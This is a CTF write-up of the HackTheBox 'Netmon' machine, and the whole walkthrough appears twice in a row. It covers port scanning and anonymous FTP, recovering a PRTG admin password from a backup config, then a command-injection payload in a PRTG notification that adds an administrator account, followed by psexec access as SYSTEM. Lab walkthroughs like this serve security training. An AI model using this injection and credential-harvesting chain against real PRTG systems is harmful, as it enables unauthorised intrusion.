./wlk/htb/ret/net :: HTB Netmon
The next HackTheBox target in my sights is Netmon. It’s a relatively simple Windows-based target sitting at 10.10.10.152.
Enumeration
As always, I start with a quick nmap TCP scan:
root@haxys:~/htb/netmon# nmap -PN -A -oG quick-tcp.gnmap 10.10.10.152
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-13 14:09 EDT
Nmap scan report for 10.10.10.152
Host is up (0.076s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
...
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
...
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.58 seconds
We’ve got FTP with anonymous access enabled, a network monitor running on Indy httpd, and some Windows services. Five open ports; a good number. Not too many, not too few.
Based on the results of nmap's anonymous FTP directory listing, it appears as if the entire C: drive is being shared, which means I might be able to access configuration data or other sensitive files that might help me gain a foot-hold. It may also help me learn more about the OS and the various software versions installed.
The HTTP server is running a network monitor, hence the name of the system being called Netmon. Likely this software will be vital to ingress into the system. That being said… Never judge a thing by its name. If names were honest, Citizen Kane would have been called I’d Rather Be Sledding.
I want to dig deeper into the services running on 139 and 445 as well. First, however, I’m going to start nmap performing a full-range TCP scan in the background, so it’ll be scanning while I work:
root@haxys:~/htb/netmon# nmap -PN -p- -oG full-tcp.gnmap 10.10.10.152 > /dev/null & 2>&1
[1] 2267
Rejection Blues
Ports 139 and 445 are used by SMB/Samba and NetBIOS. I’ll see what I can learn from the system using enum4linux:
root@haxys:~/htb/netmon# enum4linux -a 10.10.10.152
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Aug 13 14:37:49 2019
==========================
| Target Information |
==========================
Target ........... 10.10.10.152
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.10.152 |
====================================================
[E] Can't find workgroup/domain
============================================
| Nbtstat Information for 10.10.10.152 |
============================================
Looking up status of 10.10.10.152
No reply from 10.10.10.152
=====================================
| Session Check on 10.10.10.152 |
=====================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
Damn. Looks like enum4linux wasn’t able to retrieve any information from the system. I’ll try nbtscan next:
root@haxys:~/htb/netmon# nbtscan -r 10.10.10.152
Doing NBT name scan for addresses from 10.10.10.152
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
Still nothing. I’ll try one more script to see if nmap can pull any data from the target:
root@haxys:~/htb/netmon# nmap -v -p 139,445 --script=smb-os-discovery 10.10.10.152
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-13 14:41 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:41
Completed NSE at 14:41, 0.00s elapsed
Initiating Ping Scan at 14:41
Scanning 10.10.10.152 [4 ports]
Completed Ping Scan at 14:41, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:41
Completed Parallel DNS resolution of 1 host. at 14:41, 6.54s elapsed
Initiating SYN Stealth Scan at 14:41
Scanning 10.10.10.152 [2 ports]
Discovered open port 445/tcp on 10.10.10.152
Discovered open port 139/tcp on 10.10.10.152
Completed SYN Stealth Scan at 14:41, 0.12s elapsed (2 total ports)
NSE: Script scanning 10.10.10.152.
Initiating NSE at 14:41
Completed NSE at 14:41, 1.32s elapsed
Nmap scan report for 10.10.10.152
Host is up (0.075s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
NSE: Script Post-scanning.
Initiating NSE at 14:41
Completed NSE at 14:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.39 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
No luck. It seems no matter what I try, Samba doesn’t want to dance.
I’m not one to linger. I check on my full-range TCP scan, and find that it has completed. A few additional ports were discovered:
- 5985 (wsman)
- 47001 (winrm)
- 49664 through 49669
I doubt that any of these ports will be useful to me, but I make a note of them nonetheless.
Time to check out the network monitor website. I connect to the service via Firefox, and I’m greeted with a login page:
The system is running PRTG Network Monitor 18.1.37.13946, according to the footer. I’ll see if searchsploit turns anything up:
root@haxys:~/htb/netmon# searchsploit prtg monitor
-------------------------------------------------------------------------
Exploit Title
-------------------------------------------------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service)
-------------------------------------------------------------------------
Shellcodes: No Result
Interesting. There’s an authenticated RCE, but it’s aimed at a different version. The Stack Overflow DoS is closer to the correct version, but I don’t want to cause a DoS. It’s possible I could transform the DoS into a proper exploit, but that’s a rabbit hole I don’t want to get stuck in unless I have no other options. I’ll look into the RCE and see if I might have some luck. I examine the exploit with searchsploit -x exploits/windows/webapps/46527.sh.
According to the exploit, the default login credentials for the Network Monitor are prtgadmin::prtgadmin. I attempt to log in with these credentials, but they do not work. I do a little more snooping and find an article detailing the use of the system for privilege escalation, and another article performing a command injection in a similar manner. Regardless, all of these are authenticated attacks, and I don’t have credentials yet.
Going Spelunking
Time to turn my attention to the FTP service and see what I can uncover:
root@haxys:~/htb/netmon# ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
11-20-16 10:46PM <DIR> $RECYCLE.BIN
02-03-19 12:18AM 1024 .rnd
11-20-16 09:59PM 389408 bootmgr
07-16-16 09:10AM 1 BOOTNXT
02-03-19 08:05AM <DIR> Documents and Settings
02-25-19 10:15PM <DIR> inetpub
08-13-19 02:02PM 738197504 pagefile.sys
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-25-19 10:56PM <DIR> ProgramData
02-03-19 08:05AM <DIR> Recovery
02-03-19 08:04AM <DIR> System Volume Information
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
While exploring, I happen upon the user.txt file in the C:\Users\Public\ directory. I can download and read the file, and see the flag it contains. However, I haven’t actually got a shell yet, so I disregard the flag for now. I find Netmon installed in C:\Program Files (x86)\PRTG Network Monitor\, though I don’t have write permissions in the directory, so I wouldn’t be able to change anything.
In the cert subdirectory, I find a host of various encryption and signing certificates. While I doubt they’ll do me much good here, if this was a true pentest, I’d be sure to tell the client that their Netmon certificates are compromised, which could enable Man-in-the-Middle (MitM) attacks against anyone using the Netmon service. Such attacks could lead to credential compromise, which could give me just the access I need to take advantage of that RCE exploit searchsploit told me about… But alas, I’ll never know, because a MitM attack is out of the question. This isn’t a real pentest, it’s a standalone CTF. And I’ll have to find credentials another way.
According to the developers’ website, the Network Monitor stores its data in %programdata%\Paessler\PRTG Network Monitor. Browsing to C:\ProgramData\Paessler\PRTG Network Monitor, I find the configuration data I seek:
ftp> pwd
257 "/ProgramData/Paessler/PRTG Network Monitor" is current directory.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:40AM <DIR> Configuration Auto-Backups
08-13-19 02:04PM <DIR> Log Database
02-03-19 12:18AM <DIR> Logs (Debug)
02-03-19 12:18AM <DIR> Logs (Sensors)
02-03-19 12:18AM <DIR> Logs (System)
08-13-19 02:04PM <DIR> Logs (Web Server)
08-13-19 02:09PM <DIR> Monitoring Database
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
08-13-19 04:08PM 1715060 PRTG Graph Data Cache.dat
02-25-19 11:00PM <DIR> Report PDFs
02-03-19 12:18AM <DIR> System Information Database
02-03-19 12:40AM <DIR> Ticket Database
02-03-19 12:18AM <DIR> ToDo Database
226 Transfer complete.
I decide to pull the PRTG Configuration files, to see what’s inside. After searching around a bit, I find in interesting record in the PRTG Configuration.old.bak file:
<?xml version="1.0" encoding="UTF-8"?>
<root version="16" oct="PRTG Network Monitor 18.1.37.13946" saved="7/14/2018 3:13:37 AM" max="2016" guid="{221B25D6-9282-418B-8364-F59561032EE3}" treeversion="0" created="2019-02-02-23-18-27" trial="42f234beedd545338910317db1fca74dbe84030f">
...
<basenode id="-1000">
...
<nodes>
<group id="0">
...
<data>
...
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>
...
</data>
...
</group>
...
</nodes>
</basenode>
</root>
Bingo! Login credentials. I check to see if they work in the web login, but unfortunately they don’t. Granted, they’re from an old backup file. According to the directory listing, this file was last updated on July 14, 2018:
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
Meanwhile, the most recent configuration file was created on February 25, 2019:
02-25-19 10:54PM 1189697 PRTG Configuration.dat
Perhaps the admin changed the password to suit the new year? I try PrTg@dmin2019 as the password, and I’m in:
Gaining Access
Revisiting the authenticated RCE I found earlier with searchsploit, I learn that I need to grab my authentication cookie from the browser, so I open Firefox’s Inspector with Ctrl+Shift+I and browse to the cookies:
I copy my cookie’s contents and format it to work with the exploit:
_ga=GA1.4.2063293811.1565721770; _gid=GA1.4.250019242.1565721770; OCTOPUS1813713946=e0UxMTkwRkVELTg0NUYtNEYxNC04RDgyLTJGMzdGRkNDMkYyNn0=
Testing the exploit, however, I find that it crashes and fails to execute:
root@haxys:~/htb/netmon# ./prtg-exploit.sh
bash: ./prtg-exploit.sh: /bin/bash^M: bad interpreter: No such file or directory
root@haxys:~/htb/netmon# bash prtg-exploit.sh
...
prtg-exploit.sh: line 16: $'\r': command not found
prtg-exploit.sh: line 17: $'\r': command not found
prtg-exploit.sh: line 18: syntax error near unexpected token `$'\r''
'rtg-exploit.sh: line 18: `usage()
Looks like I’m going to have to do this manually. Following one of the guides I discovered earlier, I click Setup > Account Settings > Notifications, then add a new notification by clicking the blue plus sign (+) on the right side of the page and selecting Add new notification. I fill in the details for a new notification, called TEST NOTIFICATION, leaving everything according to the defaults and enabling the Execute Program option. From the Program File drop-down, I select the outfile.ps1 demo, and I set the Parameter option to read test.txt | net user haxys Passw0rd! /add ; net localgroup administrators haxys /add:
If this works, a new account called haxys should be created on the system, with administrative permissions. I save the new notification, then click the notification’s row to bring up the blue options menu to the right, then select Send test notification (the little bell icon):
The application notifies me that the notification was sent. If all went according to plan, I should be able to access the system with the account I set up. Using psexec.py from Impacket, I attempt to connect to the system:
root@haxys:~/htb/netmon# ./psexec.py haxys:'Passw0rd!'@10.10.10.152
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on 10.10.10.152.....
[*] Found writable share ADMIN$
[*] Uploading file kQNFJLuS.exe
[*] Opening SVCManager on 10.10.10.152.....
[*] Creating service zVJM on 10.10.10.152.....
[*] Starting service zVJM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Bingo! I check to see which account I’m using:
C:\Windows\system32>whoami
nt authority\system
Nice! I’ve got root. Time to recover the user.txt and root.txt flags!
C:\Windows\system32>cd c:\Users\Public\
c:\Users\Public>type user.txt
dd58ce67b49e15105e88096c8d9255a5
One down, one to go…
c:\Users\Public>cd "../../Documents and Settings/Administrator/Desktop"
c:\Documents and Settings\Administrator\Desktop>type root.txt
3018977fb944bf1878f75b879fba67cc
And voila! System owned.
Conclusions
This box was particularly annoying. While the route of exploitation was relatively simple, and while there were plenty of resources to learn what I needed to learn, I struggled to get the exploit to work. I tried the shell script searchsploit provided, but it wouldn’t run properly on my system. Even the method that finally worked required multiple attempts and multiple resets of the VM.
After reaching a point of exasperation, I looked online to see if I could find tutorials that pointed out what I was doing wrong… Yet all the write-ups and walkthroughs I found followed similar steps to mine, used the same script, included piss-poor documentation, and overall didn’t help at all. I even followed the steps of the official write-up posted on HackTheBox, and even the official write-up didn’t work the first time. Nor the second. Nor the fifth.
Someone once told me “insanity is doing the same thing over and over and expecting different results.” Yet, in this particular case, doing the same thing over and over provided different results; mostly failure, but finally success. And this annoys the heck out of me. Computers are logical machines, yet somehow they manage sometimes to defy logic and act erratically.
As a programmer, I hate when my software performs in unpredictable ways. That’s what I call a bug, and I strive to eliminate such behavior. However, with systems that are so huge and complex, with so many moving parts and points of failure, such bugs are often hard to find and fix.
As a hacker, software flaws are my bread and butter. But it still drives me batty when a well-known, well-documented exploit that ought to work somehow entirely fails to do so repeatedly. And it drives me even crazier when an attack fails to work repeatedly, and then suddenly works just fine. Because I’m left wondering, what caused it to fail? Why did it suddenly start working? If I meet this exploit in the wild, will I have to try repeated exploitation attempts until it works? Or will I be wasting valuable time running repeated attempts on a red herring, just because the vulnerability is weird like that?
Ah, well. What matters is that I succeeded, in the end.
Read other posts
The next HackTheBox target in my sights is Netmon. It’s a relatively simple Windows-based target sitting at 10.10.10.152.
Enumeration
As always, I start with a quick nmap TCP scan:
root@haxys:~/htb/netmon# nmap -PN -A -oG quick-tcp.gnmap 10.10.10.152
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-13 14:09 EDT
Nmap scan report for 10.10.10.152
Host is up (0.076s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
...
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
...
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.58 seconds
We’ve got FTP with anonymous access enabled, a network monitor running on Indy httpd, and some Windows services. Five open ports; a good number. Not too many, not too few.
Based on the results of nmap's anonymous FTP directory listing, it appears as if the entire C: drive is being shared, which means I might be able to access configuration data or other sensitive files that might help me gain a foot-hold. It may also help me learn more about the OS and the various software versions installed.
The HTTP server is running a network monitor, hence the name of the system being called Netmon. Likely this software will be vital to ingress into the system. That being said… Never judge a thing by its name. If names were honest, Citizen Kane would have been called I’d Rather Be Sledding.
I want to dig deeper into the services running on 139 and 445 as well. First, however, I’m going to start nmap performing a full-range TCP scan in the background, so it’ll be scanning while I work:
root@haxys:~/htb/netmon# nmap -PN -p- -oG full-tcp.gnmap 10.10.10.152 > /dev/null & 2>&1
[1] 2267
Rejection Blues
Ports 139 and 445 are used by SMB/Samba and NetBIOS. I’ll see what I can learn from the system using enum4linux:
root@haxys:~/htb/netmon# enum4linux -a 10.10.10.152
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Aug 13 14:37:49 2019
==========================
| Target Information |
==========================
Target ........... 10.10.10.152
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.10.152 |
====================================================
[E] Can't find workgroup/domain
============================================
| Nbtstat Information for 10.10.10.152 |
============================================
Looking up status of 10.10.10.152
No reply from 10.10.10.152
=====================================
| Session Check on 10.10.10.152 |
=====================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
Damn. Looks like enum4linux wasn’t able to retrieve any information from the system. I’ll try nbtscan next:
root@haxys:~/htb/netmon# nbtscan -r 10.10.10.152
Doing NBT name scan for addresses from 10.10.10.152
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
Still nothing. I’ll try one more script to see if nmap can pull any data from the target:
root@haxys:~/htb/netmon# nmap -v -p 139,445 --script=smb-os-discovery 10.10.10.152
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-13 14:41 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:41
Completed NSE at 14:41, 0.00s elapsed
Initiating Ping Scan at 14:41
Scanning 10.10.10.152 [4 ports]
Completed Ping Scan at 14:41, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:41
Completed Parallel DNS resolution of 1 host. at 14:41, 6.54s elapsed
Initiating SYN Stealth Scan at 14:41
Scanning 10.10.10.152 [2 ports]
Discovered open port 445/tcp on 10.10.10.152
Discovered open port 139/tcp on 10.10.10.152
Completed SYN Stealth Scan at 14:41, 0.12s elapsed (2 total ports)
NSE: Script scanning 10.10.10.152.
Initiating NSE at 14:41
Completed NSE at 14:41, 1.32s elapsed
Nmap scan report for 10.10.10.152
Host is up (0.075s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
NSE: Script Post-scanning.
Initiating NSE at 14:41
Completed NSE at 14:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.39 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
No luck. It seems no matter what I try, Samba doesn’t want to dance.
I’m not one to linger. I check on my full-range TCP scan, and find that it has completed. A few additional ports were discovered:
- 5985 (wsman)
- 47001 (winrm)
- 49664 through 49669
I doubt that any of these ports will be useful to me, but I make a note of them nonetheless.
Time to check out the network monitor website. I connect to the service via Firefox, and I’m greeted with a login page:
The system is running PRTG Network Monitor 18.1.37.13946, according to the footer. I’ll see if searchsploit turns anything up:
root@haxys:~/htb/netmon# searchsploit prtg monitor
-------------------------------------------------------------------------
Exploit Title
-------------------------------------------------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service)
-------------------------------------------------------------------------
Shellcodes: No Result
Interesting. There’s an authenticated RCE, but it’s aimed at a different version. The Stack Overflow DoS is closer to the correct version, but I don’t want to cause a DoS. It’s possible I could transform the DoS into a proper exploit, but that’s a rabbit hole I don’t want to get stuck in unless I have no other options. I’ll look into the RCE and see if I might have some luck. I examine the exploit with searchsploit -x exploits/windows/webapps/46527.sh.
According to the exploit, the default login credentials for the Network Monitor are prtgadmin::prtgadmin. I attempt to log in with these credentials, but they do not work. I do a little more snooping and find an article detailing the use of the system for privilege escalation, and another article performing a command injection in a similar manner. Regardless, all of these are authenticated attacks, and I don’t have credentials yet.
Going Spelunking
Time to turn my attention to the FTP service and see what I can uncover:
root@haxys:~/htb/netmon# ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
11-20-16 10:46PM <DIR> $RECYCLE.BIN
02-03-19 12:18AM 1024 .rnd
11-20-16 09:59PM 389408 bootmgr
07-16-16 09:10AM 1 BOOTNXT
02-03-19 08:05AM <DIR> Documents and Settings
02-25-19 10:15PM <DIR> inetpub
08-13-19 02:02PM 738197504 pagefile.sys
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-25-19 10:56PM <DIR> ProgramData
02-03-19 08:05AM <DIR> Recovery
02-03-19 08:04AM <DIR> System Volume Information
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
While exploring, I happen upon the user.txt file in the C:\Users\Public\ directory. I can download and read the file, and see the flag it contains. However, I haven’t actually got a shell yet, so I disregard the flag for now. I find Netmon installed in C:\Program Files (x86)\PRTG Network Monitor\, though I don’t have write permissions in the directory, so I wouldn’t be able to change anything.
In the cert subdirectory, I find a host of various encryption and signing certificates. While I doubt they’ll do me much good here, if this was a true pentest, I’d be sure to tell the client that their Netmon certificates are compromised, which could enable Man-in-the-Middle (MitM) attacks against anyone using the Netmon service. Such attacks could lead to credential compromise, which could give me just the access I need to take advantage of that RCE exploit searchsploit told me about… But alas, I’ll never know, because a MitM attack is out of the question. This isn’t a real pentest, it’s a standalone CTF. And I’ll have to find credentials another way.
According to the developers’ website, the Network Monitor stores its data in %programdata%\Paessler\PRTG Network Monitor. Browsing to C:\ProgramData\Paessler\PRTG Network Monitor, I find the configuration data I seek:
ftp> pwd
257 "/ProgramData/Paessler/PRTG Network Monitor" is current directory.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:40AM <DIR> Configuration Auto-Backups
08-13-19 02:04PM <DIR> Log Database
02-03-19 12:18AM <DIR> Logs (Debug)
02-03-19 12:18AM <DIR> Logs (Sensors)
02-03-19 12:18AM <DIR> Logs (System)
08-13-19 02:04PM <DIR> Logs (Web Server)
08-13-19 02:09PM <DIR> Monitoring Database
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
08-13-19 04:08PM 1715060 PRTG Graph Data Cache.dat
02-25-19 11:00PM <DIR> Report PDFs
02-03-19 12:18AM <DIR> System Information Database
02-03-19 12:40AM <DIR> Ticket Database
02-03-19 12:18AM <DIR> ToDo Database
226 Transfer complete.
I decide to pull the PRTG Configuration files, to see what’s inside. After searching around a bit, I find in interesting record in the PRTG Configuration.old.bak file:
<?xml version="1.0" encoding="UTF-8"?>
<root version="16" oct="PRTG Network Monitor 18.1.37.13946" saved="7/14/2018 3:13:37 AM" max="2016" guid="{221B25D6-9282-418B-8364-F59561032EE3}" treeversion="0" created="2019-02-02-23-18-27" trial="42f234beedd545338910317db1fca74dbe84030f">
...
<basenode id="-1000">
...
<nodes>
<group id="0">
...
<data>
...
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>
...
</data>
...
</group>
...
</nodes>
</basenode>
</root>
Bingo! Login credentials. I check to see if they work in the web login, but unfortunately they don’t. Granted, they’re from an old backup file. According to the directory listing, this file was last updated on July 14, 2018:
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
Meanwhile, the most recent configuration file was created on February 25, 2019:
02-25-19 10:54PM 1189697 PRTG Configuration.dat
Perhaps the admin changed the password to suit the new year? I try PrTg@dmin2019 as the password, and I’m in:
Gaining Access
Revisiting the authenticated RCE I found earlier with searchsploit, I learn that I need to grab my authentication cookie from the browser, so I open Firefox’s Inspector with Ctrl+Shift+I and browse to the cookies:
I copy my cookie’s contents and format it to work with the exploit:
_ga=GA1.4.2063293811.1565721770; _gid=GA1.4.250019242.1565721770; OCTOPUS1813713946=e0UxMTkwRkVELTg0NUYtNEYxNC04RDgyLTJGMzdGRkNDMkYyNn0=
Testing the exploit, however, I find that it crashes and fails to execute:
root@haxys:~/htb/netmon# ./prtg-exploit.sh
bash: ./prtg-exploit.sh: /bin/bash^M: bad interpreter: No such file or directory
root@haxys:~/htb/netmon# bash prtg-exploit.sh
...
prtg-exploit.sh: line 16: $'\r': command not found
prtg-exploit.sh: line 17: $'\r': command not found
prtg-exploit.sh: line 18: syntax error near unexpected token `$'\r''
'rtg-exploit.sh: line 18: `usage()
Looks like I’m going to have to do this manually. Following one of the guides I discovered earlier, I click Setup > Account Settings > Notifications, then add a new notification by clicking the blue plus sign (+) on the right side of the page and selecting Add new notification. I fill in the details for a new notification, called TEST NOTIFICATION, leaving everything according to the defaults and enabling the Execute Program option. From the Program File drop-down, I select the outfile.ps1 demo, and I set the Parameter option to read test.txt | net user haxys Passw0rd! /add ; net localgroup administrators haxys /add:
If this works, a new account called haxys should be created on the system, with administrative permissions. I save the new notification, then click the notification’s row to bring up the blue options menu to the right, then select Send test notification (the little bell icon):
The application notifies me that the notification was sent. If all went according to plan, I should be able to access the system with the account I set up. Using psexec.py from Impacket, I attempt to connect to the system:
root@haxys:~/htb/netmon# ./psexec.py haxys:'Passw0rd!'@10.10.10.152
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on 10.10.10.152.....
[*] Found writable share ADMIN$
[*] Uploading file kQNFJLuS.exe
[*] Opening SVCManager on 10.10.10.152.....
[*] Creating service zVJM on 10.10.10.152.....
[*] Starting service zVJM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Bingo! I check to see which account I’m using:
C:\Windows\system32>whoami
nt authority\system
Nice! I’ve got root. Time to recover the user.txt and root.txt flags!
C:\Windows\system32>cd c:\Users\Public\
c:\Users\Public>type user.txt
dd58ce67b49e15105e88096c8d9255a5
One down, one to go…
c:\Users\Public>cd "../../Documents and Settings/Administrator/Desktop"
c:\Documents and Settings\Administrator\Desktop>type root.txt
3018977fb944bf1878f75b879fba67cc
And voila! System owned.
Conclusions
This box was particularly annoying. While the route of exploitation was relatively simple, and while there were plenty of resources to learn what I needed to learn, I struggled to get the exploit to work. I tried the shell script searchsploit provided, but it wouldn’t run properly on my system. Even the method that finally worked required multiple attempts and multiple resets of the VM.
After reaching a point of exasperation, I looked online to see if I could find tutorials that pointed out what I was doing wrong… Yet all the write-ups and walkthroughs I found followed similar steps to mine, used the same script, included piss-poor documentation, and overall didn’t help at all. I even followed the steps of the official write-up posted on HackTheBox, and even the official write-up didn’t work the first time. Nor the second. Nor the fifth.
Someone once told me “insanity is doing the same thing over and over and expecting different results.” Yet, in this particular case, doing the same thing over and over provided different results; mostly failure, but finally success. And this annoys the heck out of me. Computers are logical machines, yet somehow they manage sometimes to defy logic and act erratically.
As a programmer, I hate when my software performs in unpredictable ways. That’s what I call a bug, and I strive to eliminate such behavior. However, with systems that are so huge and complex, with so many moving parts and points of failure, such bugs are often hard to find and fix.
As a hacker, software flaws are my bread and butter. But it still drives me batty when a well-known, well-documented exploit that ought to work somehow entirely fails to do so repeatedly. And it drives me even crazier when an attack fails to work repeatedly, and then suddenly works just fine. Because I’m left wondering, what caused it to fail? Why did it suddenly start working? If I meet this exploit in the wild, will I have to try repeated exploitation attempts until it works? Or will I be wasting valuable time running repeated attempts on a red herring, just because the vulnerability is weird like that?
Ah, well. What matters is that I succeeded, in the end.